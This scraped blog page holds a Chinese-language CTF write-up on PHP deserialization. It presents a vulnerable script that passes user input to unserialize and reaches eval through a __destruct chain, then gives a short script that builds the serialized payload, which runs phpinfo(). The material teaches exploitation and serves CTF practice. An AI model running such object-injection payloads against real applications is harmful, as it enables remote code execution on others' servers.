当前位置:网站首页>PHP Serialization: eval
PHP Serialization: eval
2022-07-31 13:08:00 【Little dragon in shandong】
题目
<?php
highlight_file(__FILE__);
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>
解题思路:通过传入d参数,The parameter is the serialized string,Used to call magic methods__destruct,然后调用evil的action,to executeeval.
wp
生成序列化字符串:
<?php
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data = "phpinfo();";
}
$test = new lemon();
echo urlencode(serialize($test));

边栏推荐
- matlab as(assert dominance)
- ADS与C#通信
- WPF中报错:“未将对象引用设置到对象的实例。”
- alert(1) (haozi.me)靶场练习
- Anaconda安装labelImg图像标注软件
- 行业案例 | 全面防护 赛宁助力能源工控安全建设
- Hard disk partition, expand disk C, no reshipment system, not heavy D dish of software full tutorial.
- The 2nd activity of the TOGAF10 Standard Reading Club continues wonderfully, and the highlights will be reviewed!
- Istio微服务治理网格的全方面可视化监控(微服务架构展示、资源监控、流量监控、链路监控)
- 硬盘分区,拓展C盘,不重装系统,不重装D盘软件的全教程。
猜你喜欢

攻防演练丨赛宁红方管控平台走进广东三地 助力数字政府网络安全建设

纷享销客罗旭对话元气森林黄晓枫:零售数字化的终点不是创新,而是数据

一文吃透哈希表

分布式监视 Zabbix 和 Prometheus 到底怎么选?千万别用错了!

硬盘分区,拓展C盘,不重装系统,不重装D盘软件的全教程。

通过斐波那契数再谈函数递归2.0

函数的参数

ERROR 1064 (42000) You have an error in your SQL syntax; check the manual that corresponds to your

ERROR 1819 (HY000) Your password does not satisfy the current policy requirements

Hard disk partition, expand disk C, no reshipment system, not heavy D dish of software full tutorial.
随机推荐
知名无人驾驶公司:文远知行内推
C#使用NumericUpDown控件
NameNode故障处理的两种方法
Google Chrome(谷歌浏览器)安装使用
sqlalchemy 判断一个array 类型的字段是否和一个array有至少一个一致的数据
Getting started with jmeter performance testing steps (performance testing tool jmeter)
2022年最新重庆建筑安全员模拟题库及答案
系统集成项目管理工程师(软考中级)知识点总结【挣值分析】【关键路径】
一文吃透哈希表
PyQt5快速开发与实战 10.1 获取城市天气预报
WPF中TabControl动态获取当前选中的TabItem
ADS与C#通信
模拟量差分和单端(iou计算方法)
集群中增加数据节点与退役数据节点
Indoor real-time laser SLAM control method based on biological excitation neural network
SAP e-commerce cloud Spartacus SSR Optimization Engine execution sequence of several timeouts
IDEA如何运行web程序
TensorRT安装及使用教程「建议收藏」
架构实战营|模块8
C# 中的Async 和 Await 的用法详解